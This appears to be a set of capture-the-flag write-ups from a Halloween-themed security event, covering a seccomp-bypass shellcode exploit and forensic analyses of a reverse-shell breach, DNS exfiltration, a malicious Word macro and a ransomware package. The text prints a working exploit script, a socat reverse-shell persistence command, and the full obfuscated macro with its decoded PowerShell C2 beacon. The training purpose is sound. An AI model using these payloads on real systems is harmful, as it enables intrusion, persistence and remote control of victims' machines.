[1]    946749 segmentation fault  ./pumpking

Great, one step closer. Let’s take a look at the function called when we have the correct password.

It seems that this function will read from stdin, and directly execute the data by the call rdx instruction.

To verify this, let’s enter some data attach gdb.

First of all, in order to proceed, we need you to whisper the secret passphrase provided only to naughty kids: pumpk1ngRulez

[Pumpkgin]: Welcome naughty kid! This time of the year, I will make your wish come true! Wish for everything, even for tha flag!

>> AAAAAAAAAAAAAAAAAAAA

As we can see, when the call rdx instruction is executed, it will call the values we provided on the stack.

Time to try to execute some code. We can generate some shellcode using msfvenom, using the flags -p linux/x64/exec -f python will generate shellcode that executes /bin/sh and output it as a Python variable for us to use.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of python file: 117 bytes
buf =  b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"

But when we send this payload it didn’t work, we only got an error, “invalid system call”.

If we go back to the code for the main function, we can see a call to the setup function. Let’s take a look at that.

Ah, so there are some seccomp rules that restrict the syscalls we can use. Using seccomp-tools we can see what the rules for the executable are, and see if we can use any allowed syscalls. After running seccomp-tools dump ./pumpking we get the following output.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x0000000f  if (A == rt_sigreturn) goto 0010
 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010
 0009: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

So we are allowed to use openat, read, write, rt_sigreturn, and exit. This is enough for us to read the flag and print it.

The following script will generate shellcode to open a file descriptor for flag.txt using openat, read 100 bytes from the file using read and finally print 100 bytes to stdout using write.

from pwn import *
from pwnlib import *

context.context(arch='amd64', os='linux')

r = process("./pumpking")
#r = remote('167.71.138.188', 30543)

# Use allowed openat to open file, -100 specifies current directory
openat = asm.asm(shellcraft.amd64.linux.openat(-100, 'flag.txt'))
# Read 100 bytes from file descriptor stored in rax (return value from openat), store in buffer at rsp
read = asm.asm(shellcraft.amd64.read('rax', 'rsp', 100))
# Write 100 bytes to stdout from buffer at rsp
write = asm.asm(shellcraft.amd64.write(1, 'rsp', 100))
payload = openat + read + write

passphrase = b'pumpk1ngRulez'

r.recvuntil(b'only to naughty kids: ')
r.sendline(passphrase)
r.recvuntil(b'>> ')
r.sendline(payload)

r.interactive()

After running the script, we get the flag.

[+] Opening connection to 167.71.138.188 on port 30543: Done
[*] Switching to interactive mode
\x00HTB{n4ughty_b01z_d0_n0t_f0ll0w_s3cc0mp_rul3z}
1\xd21\xc0f\xb8\x0fH\x89\xc71\xc0jdZH\x89\xe6j_jdZH\x89\xe6jX\x0f
\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to 167.71.138.188 port 30543

Wrong Spooky Season

Forensics

Description

“I told them it was too soon and in the wrong season to deploy such a website, but they assured me that theming it properly would be enough to stop the ghosts from haunting us. I was wrong.” Now there is an internal breach in the Spooky Network and you need to find out what happened. Analyze the the network traffic and find how the scary ghosts got in and what they did.

Solution

Checking the HTTP traffic, we find some requests that execute commands on the server.

The last command creates a reverse shell to 192.168.1.180:1337. Let’s take a look at that traffic.

It looks like a bit of traffic is sent over the connection. Let’s follow the stream and see what’s going on.

At the end of the communication, we can see some interesting data.

echo 'socat TCP:192.168.1.180:1337 EXEC:sh' > /root/.bashrc && echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev > /dev/null && chmod +s /bin/bash

Decoding the base64 data using echo "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS" | rev | base64 -d gives us the flag HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}.


Trick or Breach

Forensics

Description

Our company has been working on a secret project for almost a year. None knows about the subject, although rumor is that it is about an old Halloween legend where an old witch in the woods invented a potion to bring pumpkins to life, but in a more up-to-date approach. Unfortunately, we learned that malicious actors accessed our network in a massive cyber attack. Our security team found that the hack had occurred when a group of children came into the office’s security external room for trick or treat. One of the children was found to be a paid actor and managed to insert a USB into one of the security personnel’s computers, which allowed the hackers to gain access to the company’s systems. We only have a network capture during the time of the incident. Can you find out if they stole the secret project?

Solution

Taking a look at the provided PCAP, we can see what looks like data exfiltration over DNS.

Converting the hex characters of the first request reveals a ZIP header.

Let’s dump the file and look at what was exfiltrated. To dump the file, we can use the following Python script.

#!/usr/bin env python3

from scapy.all import *
from binascii import unhexlify

a=rdpcap("capture.pcap")

data = bytearray()

for packet in a:
    if packet[IP].src == "192.168.1.10" and packet.haslayer(DNSQR):
        query = packet[DNSQR].qname
        query = query.replace(b".pumpkincorp.com.", b"")
        data += bytearray(query)

with open('data.bin', 'bw') as f:
    f.write(unhexlify(data))

Running file data.bin reveals that the file is a Microsoft Excel 2007+ file, which is a ZIP file containing all the XML-data for the spreadsheet. If we extract the file we could try to use grep to find the flag.

And sure enough, running grep -R HTB * finds the flag.

<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="28" uniqueCount="22"><si><t>Recipe Assignment</t></si><si><t>In this sheet there are assigned the ingredients of the punken pun secret project.</t></si><si><t>Subject</t></si><si><t>Assignment</t></si><si><t>Status</t></si><si><t>Time</t></si><si><t>Start date</t></si><si><t>Due on</t></si><si><t>Andrew</t></si><si><t>1 Fillet of a fenny snake</t></si><si><t>In progress</t></si><si><t>Nick</t></si><si><t>3 Lizard’s legs</t></si><si><t>Not started</t></si><si><t>3 Bat wings</t></si><si><t>Mike</t></si><si><t>3 Halloween chips</t></si><si><t>Done</t></si><si><t>HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}</t></si><si><t>Skipped</t></si><si><t>Team Members</t></si><si><t>Member of the Punkenpun project.</t></si></sst>

HTB{M4g1c_c4nn0t_pr3v3nt_d4t4_br34ch}


Halloween Invitation

Forensics

Description

An email notification pops up. It’s from your theater group. Someone decided to throw a party. The invitation looks awesome, but there is something suspicious about this document. Maybe you should take a look before you rent your banana costume.

Solution

Using olevba from oletools on the attached Word file shows a macro with a bunch of obfuscated hex strings. Using the --decode flag decodes all the hex-encoded strings, but it’s still obfuscated.

MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):

Sub AutoOpen()
odhsjwpphlxnb
Call lmavedb
End Sub

Private Sub odhsjwpphlxnb()
Dim bnhupraoau As String
CreateObject("WScript.Shell").currentdirectory = "%TEMP%"
bnhupraoau = sryivxjsdncj()
dropPath = "%TEMP%"
Set rxnnvnfqufrzqfhnff = CreateObject("Scripting.FileSystemObject'")
Set dfdjqgaqhvxxi = rxnnvnfqufrzqfhnff.CreateTextFile(dropPath & "\\history.bak", True)
dfdjqgaqhvxxi.Write bnhupraoau
dfdjqgaqhvxxi.Close
End Sub

Private Function wdysllqkgsbzs(strBytes) As String
Dim aNumbers
Dim fxnrfzsdxmcvranp As String
Dim iIter
fxnrfzsdxmcvranp = ""
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter))
Next
wdysllqkgsbzs = fxnrfzsdxmcvranp
End Function

Private Function okbzichkqtto() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'74 65 66 122 65 68 48 65 74 1'b'19 65 51 65 68 99 65 76 103 65 51 65 68 81 65 76 103'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 120 65 68 10'b'7 65 79 65 65 117 65 68 85 65 77 103 65 54 65 68 103 65 77 65 65 52'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 68 65 65 74'b' 119 65 55 65 67 81 65 97 81 65 57 65 67 99 65 90 65 65 48 65 68 77'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 89 103 66 106 65 71 77 65 78 103 66 107 65 6'b'7 48 65 77 65 65 48 65 68 77 65 90'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'103 65 121 65 68 81 65 77 65 65 5'b'3 65 67 48 65 78 119 66 108 65 71 69 65 77 103 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'122 65 71 69 65 77 103 66 106 65 67 99 65 79 119 65 107 65 72 65 65 80 81 65 1'b'10 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'71 103 65 100 65 66 48 65 72 65 65 79 103 'b'65 118 65 67 56 65 74 119 65 55 65 67 81'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 100 103 65 57 65 69 107 65 98 103 66 50 65 71 56 65 97 119 66 108 65 67 4'b'8 65 85'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'103 66 108 65 72 77 65 100 65 66 78 65 71 85 65 100 65 66 111 65 71 56 65 90'b' 65 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'103 65 67 48 65 86 81 66 122 65 71 8'b'5 65 81 103 66 104 65 72 77 65 97 81 66 106 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'70 65 65 89 81 66 121 65 72 77 65 97 81 66'b' 117 65 71 99 65 73 65 65 116 65 70 85 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'99 103 66 112 65 67 65 65 74 65 66 119 65 67 81 65 99 119 65 118 'b'65 71 81 65 78 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 122 65 71 73 65'b' 89 119 66 106 65 68 89 65 90 65 65 103 65 67 48 65 83 65 66 108'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 71 69 65 90 65 66 108 65 72 73 65 99 119 65'b' 103 65 69 65 65 101 119 65 105 65 69'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'69 65 100 81 66 48 65 71 103 65 9'b'8 119 66 121 65 71 107 65 101 103 66 104 65 72 81'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 97 81 66 'b'118 65 71 52 65 73 103 65 57 65 67 81 65 97 81 66 57 65 68 115 65 100'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'119 66 111 65 71 107 65 98 65 66 108'b' 65 67 65 65 75 65 65 107 65 72 81 65 99 103 66'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'49 65 71 85 65 75 81 66 55 65 67 81 65 89 119 65 57 65 67 103 65 83 81 66 11'b'7 65 72'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'89 65 98 119 66 114 65 71 85 65 76 81 66 83'b' 65 71 85 65 99 119 66 48 65 69 48 65 90'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'81 66 48 65 71 103 65 98 119 66 107 65 67 65 65 76 81 66 86 65 72 7'b'7 65 90 81 66 67'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 71 69 65 99 119 66 112 65 71 77 65 85 65 66 104 65 'b'72 73 65 99 119 66 112 65 71'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'52 65 90 119 65 103 65 67 48 65 86 81 66 121 65 71 107 65 73 65 65 107 65 72 65'b' 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'74 65 66 122 65 67 'b'56 65 77 65 65 48 65 68 77 65 90 103 65 121 65 68 81 65 77 65 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'53 65 67 65 65 76 81 66 73 65 71 85 65 89 81 66 107 65'b' 71 85 65 99 103 66 122 65 67'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 65 81 65 66 55 65 67 73 65 8'b'1 81 66 49 65 72 81 65 97 65 66 118 65 72 73 65 97'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'81 66 54 65 71 69 65 'b'100 65 66 112 65 71 56 65 98 103 65 105 65 68 48 65 74 65 66'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'112 65 72 48 65 'b'75 81 65 55 65 71 107 65 90 103 65 103 65 67 103 65 74 65 66 106 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'67'b' 65 65 76 81 66 117 65 71 85 65 73 65 65 110 65 69 52 65 98 119 66 117 65 71 85'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 74 119 65 112 65 67 65 65 101 119 65 107 65 72 73 65 80 81 66 112 65 'b'71 85 65 101'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 65 103 'b'65 67 81 65 89 119 65 103 65 67 48 65 82 81 66 121 65 72 73 65 98 119 66'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'121 65 69 69 65 89 119 66 48 65 71 107 65 98 119 66 117 65 'b'67 65 65 85 119 66 48 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'71 56 65 99 65 65 103 65 67 48 65 82 81 66 121 'b'65 72 73 65 98 119 66 121 65 70 89'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 89 81 66 121 65 71 107 65 89 8'b'1 66 105 65 71 119 65 90 81 65 103 65 71 85 65 79'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'119 65 107 65 72 73 65 80 81 'b'66 80 65 72 85 65 100 65 65 116 65 70 77 65 100 65 66'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'121 65 7'b'1 107 65 98 103 66 110 65 67 65 65 76 81 66 74 65 71 52 65 99 65 66 49 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'72 81 65 84 119 66 105 65 71 111 65 90 81 66 106 65 72 81 65 73 65 65 107 65 72'b' 73'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 79 119 65 107 65 72 81 65 80 81 66 'b'74 65 71 52 65 100 103 66 118 65 71 115 65 90'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'81 65 116 65 70 73 65 90 81 66 122 65 72 81 65 84 81 66 10'b'8 65 72 81 65 97 65 66 118'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 71 81 65 73'b' 65 65 116 65 70 85 65 99 103 66 112 65 67 65 65 74 65 66 119 65 67'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'81 65 99 119 65 118 65 68 99 65 90 81 66 104 65 68 73 65 77 119 66 104 65 68 73 'b'65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'89 119 65 103 65 67 48 65 84 81 66 108 65 72 81 65 97 65 66 118 65 71 'b'81 65 73 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'66 81 'b'65 69 56 65 85 119 66 85 65 67 65 65 76 81 66 73 65 71 85 65 89 81 66 107 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'71 85 65 99 103 66 122 65 67 65 65 81 65 66 55'b' 65 67 73 65 81 81 66 49 65 72 81 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'97 65 66 118 65 72 73 65 97 81 66 54 65 71 69 65 100 65 66 112 65 71 56 65 98'b' 103'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 105 65 68 48 65 74 65 66 112 65 72 48 65 73 65 65 'b'116 65 69 73 65 98 119 66 107'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 72 'b'107 65 73 65 65 111 65 70 115 65 85 119 66 53 65 72 77 65 100 65 66 108 65 71'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'48 65'b' 76 103 66 85 65 71 85 65 101 65 66 48 65 67 52 65 82 81 66 117 65 71 77 65 98'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'119 66 107 65 71 107 65 98 103 66 110 65 70 48 65 79 103 65 54 65 70 85 65'b' 86 65 66'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'71 65 68 103 65 76 103 66 72 65 71'b' 85 65 100 65 66 67 65 72 107 65 100 65 66 108 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'72 77 65 75 65 65 107 65 71 85 65 75 119 65 107 65 72 73 65 75 81 65'b' 103 65 67 48'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 97 103 66 'b'118 65 71 107 65 98 103 65 103 65 67 99 65 73 65 65 110 65 67 107 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'102'b' 81 65 103 65 72 77 65 98 65 66 108 65 71 85 65 99 65 65 103 65 68 65 65 76 103'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'65 52 65 72 48 65 83 65 66 'b'85 65 69 73 65 101 119 65 49 65 72 85 65 99 65 65 122 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'72 73 65 88 119 65 122 65 68 81 65 78 8'b'1 66 53 65 70 56 65 98 81 65 48 65 71 77 65'")
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + wdysllqkgsbzs("b'99 103 65 119 65 68 85 65 102 81 'b'65 61'")
okbzichkqtto = fxnrfzsdxmcvranp
End Function

Private Function sryivxjsdncj() As String
Dim fxnrfzsdxmcvranp As String
fxnrfzsdxmcvranp = ""
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + okbzichkqtto()
sryivxjsdncj = fxnrfzsdxmcvranp
End Function

Sub lmavedb()
dropPath = "%TEMP%"
Set rxnnvnfqufrzqfhnff = CreateObject("Scripting.FileSystemObject")
Set ktmlmpc = rxnnvnfqufrzqfhnff.OpenTextFile(dropPath & "\\history.bak'")
secret = ktmlmpc.ReadAll
ktmlmpc.Close
Code = "powershell -WindowStyle hidden -e """ & secret
x = Shell(Code, 1)
End Sub

Attribute VB_Name = "Module1"

Function uxdufnkjlialsyp(ByVal tiyrahvbz As String) As String
Dim nqjveawetp As Long
For nqjveawetp = 1 To Len(tiyrahvbz) Step 2
uxdufnkjlialsyp = uxdufnkjlialsyp & Chr$(Val("&H" & Mid$(tiyrahvbz, nqjveawetp, 2)))
Next nqjveawetp
End Function

So what’s going on here? First of all the code saves the result from okbzichkqtto to a file called %TEMP%\history.bak. After the file is saved, the same file is loaded and run as an encoded PowerShell script in the sub lmavedb.

So we need to recreate the data from the okbzichkqtto function to see the PowerShell script.

In the okbzichkqtto all the data is obfuscated, and calls to the function wdysllqkgsbzs is being made to deobfuscate the data.

Let’s take a look at the wdysllqkgsbzs function.

Private Function wdysllqkgsbzs(strBytes) As String
Dim aNumbers
Dim fxnrfzsdxmcvranp As String
Dim iIter
fxnrfzsdxmcvranp = ""
aNumbers = Split(strBytes)
For iIter = LBound(aNumbers) To UBound(aNumbers)
fxnrfzsdxmcvranp = fxnrfzsdxmcvranp + Chr(aNumbers(iIter))
Next
wdysllqkgsbzs = fxnrfzsdxmcvranp
End Function

First, the input string is split, so we have an enumerable variable aNumbers. Then the code iterates over that variable and for each value it converts that value to a character and returns the converted string.

Now we know how to deobfuscate the data, so we have to extract all the numbers, converting them to ASCII characters and hopefully we have a Base64 string we can decode to get a PowerShell script.

After extracting all the numbers and converting them from decimal to string, we end up with the following Base64 encoded text.

JABzAD0AJwA3ADcALgA3ADQALgAxADkAOAAuADUAMgA6ADgAMAA4ADAAJwA7ACQAaQA9ACcAZAA0ADMAYgBjAGMANgBkAC0AMAA0ADMAZgAyADQAMAA5AC0ANwBlAGEAMgAzAGEAMgBjACcAOwAkAHAAPQAnAGgAdAB0AHAAOgAvAC8AJwA7ACQAdgA9AEkAbgB2AG8AawBlAC0AUgBlAHMAdABNAGUAdABoAG8AZAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAFUAcgBpACAAJABwACQAcwAvAGQANAAzAGIAYwBjADYAZAAgAC0ASABlAGEAZABlAHIAcwAgAEAAewAiAEEAdQB0AGgAbwByAGkAegBhAHQAaQBvAG4AIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMAA0ADMAZgAyADQAMAA5ACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AKQA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAJABwACQAcwAvADcAZQBhADIAMwBhADIAYwAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAQQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgAiAD0AJABpAH0AIAAtAEIAbwBkAHkAIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAkAGUAKwAkAHIAKQAgAC0AagBvAGkAbgAgACcAIAAnACkAfQAgAHMAbABlAGUAcAAgADAALgA4AH0ASABUAEIAewA1AHUAcAAzAHIAXwAzADQANQB5AF8AbQA0AGMAcgAwADUAfQA=

And decoding the encoded string, we get the following PowerShell.

$.s.=.'.7.7...7.4...1.9.8...5.2.:.8.0.8.0.'.;.$.i.=.'.d.4.3.b.c.c.6.d.-.0.4.3.f.2.4.0.9.-.7.e.a.2.3.a.2.c.'.;.$.p.=.'.h.t.t.p.:././.'.;.$.v.=.I.n.v.o.k.e.-.R.e.s.t.M.e.t.h.o.d. .-.U.s.e.B.a.s.i.c.P.a.r.s.i.n.g. .-.U.r.i. .$.p.$.s./.d.4.3.b.c.c.6.d. .-.H.e.a.d.e.r.s. .@.{.".A.u.t.h.o.r.i.z.a.t.i.o.n.".=.$.i.}.;.w.h.i.l.e. .(.$.t.r.u.e.).{.$.c.=.(.I.n.v.o.k.e.-.R.e.s.t.M.e.t.h.o.d. .-.U.s.e.B.a.s.i.c.P.a.r.s.i.n.g. .-.U.r.i. .$.p.$.s./.0.4.3.f.2.4.0.9. .-.H.e.a.d.e.r.s. .@.{.".A.u.t.h.o.r.i.z.a.t.i.o.n.".=.$.i.}.).;.i.f. .(.$.c. .-.n.e. .'.N.o.n.e.'.). .{.$.r.=.i.e.x. .$.c. .-.E.r.r.o.r.A.c.t.i.o.n. .S.t.o.p. .-.E.r.r.o.r.V.a.r.i.a.b.l.e. .e.;.$.r.=.O.u.t.-.S.t.r.i.n.g. .-.I.n.p.u.t.O.b.j.e.c.t. .$.r.;.$.t.=.I.n.v.o.k.e.-.R.e.s.t.M.e.t.h.o.d. .-.U.r.i. .$.p.$.s./.7.e.a.2.3.a.2.c. .-.M.e.t.h.o.d. .P.O.S.T. .-.H.e.a.d.e.r.s. .@.{.".A.u.t.h.o.r.i.z.a.t.i.o.n.".=.$.i.}. .-.B.o.d.y. .(.[.S.y.s.t.e.m...T.e.x.t...E.n.c.o.d.i.n.g.].:.:.U.T.F.8...G.e.t.B.y.t.e.s.(.$.e.+.$.r.). .-.j.o.i.n. .'. .'.).}. .s.l.e.e.p. .0...8.}.H.T.B.{.5.u.p.3.r._.3.4.5.y._.m.4.c.r.0.5.}.

Here we find the flag HTB{5up3r_345y_m4cr05}.


POOF

Forensics

Description

In my company, we are developing a new python game for Halloween. I’m the leader of this project; thus, I want it to be unique. So I researched the most cutting-edge python libraries for game development until I stumbled upon a private game-dev discord server. One member suggested I try a new python library that provides enhanced game development capabilities. I was excited about it until I tried it. Quite simply, all my files are encrypted now. Thankfully I manage to capture the memory and the network traffic of my Linux server during the incident. Can you analyze it and help me recover my files? To get the flag, connect to the docker service and answer the questions.

Solution

Connecting to the challenge server, we get some questions to answer.

+-----------+---------------------------------------------------------+
|   Title   |                       Description                       |
+-----------+---------------------------------------------------------+
| Downgrade |          During recent auditing, we noticed that        |
|           |     network authentication is not forced upon remote    |
|           |       connections to our Windows 2012 server. That      |
|           |           led us to investigate our system for          |
|           |  suspicious logins further. Provided the server's event |
|           |       logs, can you find any suspicious successful      |
|           |                          login?                         |
+-----------+---------------------------------------------------------+

Which is the malicious URL that the ransomware was downloaded from? (for example: http://maliciousdomain/example/file.extension)
> 

To answer the question, we need to open the attached PCAP file and take a look at the HTTP traffic. In the traffic, we find that the following file is downloaded

Entering this as the answer gets us a new question.

> http://files.pypi-install.com/packages/a5/61/caf3af6d893b5cb8eae9a90a3054f370a92130863450e3299d742c7a65329d94/pygaming-dev-13.37.tar.gz
[+] Correct!

What's the name of the malicious process?
> 

To find the answer to this question, we have to analyze the attached mem dump. To do this we use Volatility. In the challenge files we also get a memory profile, installing the attached profile in Volatility2, we now have the profile LinuxUbuntu_4_15_0-184-generic_profilex64 - A Profile for Linux Ubuntu_4.15.0-184-generic_profile x64

Using the new memory profile, we can list the processes using vol2 --profile=Linux Ubuntu_4_15_0-184-generic_profilex64 -f mem.dmp linux_pstree

Name                 Pid             Uid            
systemd              1                              
.systemd-journal     429                            
.lvmetad             439                            
.systemd-udevd       453                            
.systemd-timesyn     636             62583          
.systemd-network     734             100            
.systemd-resolve     751             101            
.accounts-daemon     820                            
.dbus-daemon         822             103            
.networkd-dispat     839                            
.lxcfs               841                            
.rsyslogd            846             102            
.systemd-logind      856                            
.atd                 857                            
.cron                864                            
.unattended-upgr     873                            
.polkitd             874                            
.agetty              890                            
.sshd                891                            
..sshd               1171                           
...sshd              1311            1000           
....bash             1312            1000           
.....configure       1340            1000           
......configure      1341            1000           
.systemd             1182            1000           
..(sd-pam)           1184            1000     

From this, the only process that seems to be the malicious process is configure. After entering configure as the answer, we get another question.

> configure
[+] Correct!

Provide the md5sum of the ransomware file.
> 

To get the original ransomware file, we need to dump the transferred file pygaming-dev-13.37.tar.gz from the PCAP. After dumping the file, we can extract it and get the md5sum of configure.

md5sum configure
7c2ff873ce6b022663a1f133383194cc  configure 

Entering the hash as the answer, we get yet another question.

> 7c2ff873ce6b022663a1f133383194cc
[+] Correct!

Which programming language was used to develop the ransomware? (for example: nim)
>

Let’s open configure in IDA and take a look at what we can find out about the ransomware.

Taking a look at the strings shows a lot of strings containing the prefix Py.

So the answer is Python. Answering the question, we get a new question.

> python
[+] Correct!

After decompiling the ransomware, what is the name of the function used for encryption? (for example: encryption)
>

To extract the compiled Python code, we can use Pyinstxtractor.

[+] Processing configure
[+] Pyinstaller version: 2.1+
[+] Python version: 3.6
[+] Length of package: 7448520 bytes
[+] Found 79 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_subprocess.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: configure.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.6 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: configure

You can now use a python decompiler on the pyc files within the extracted directory

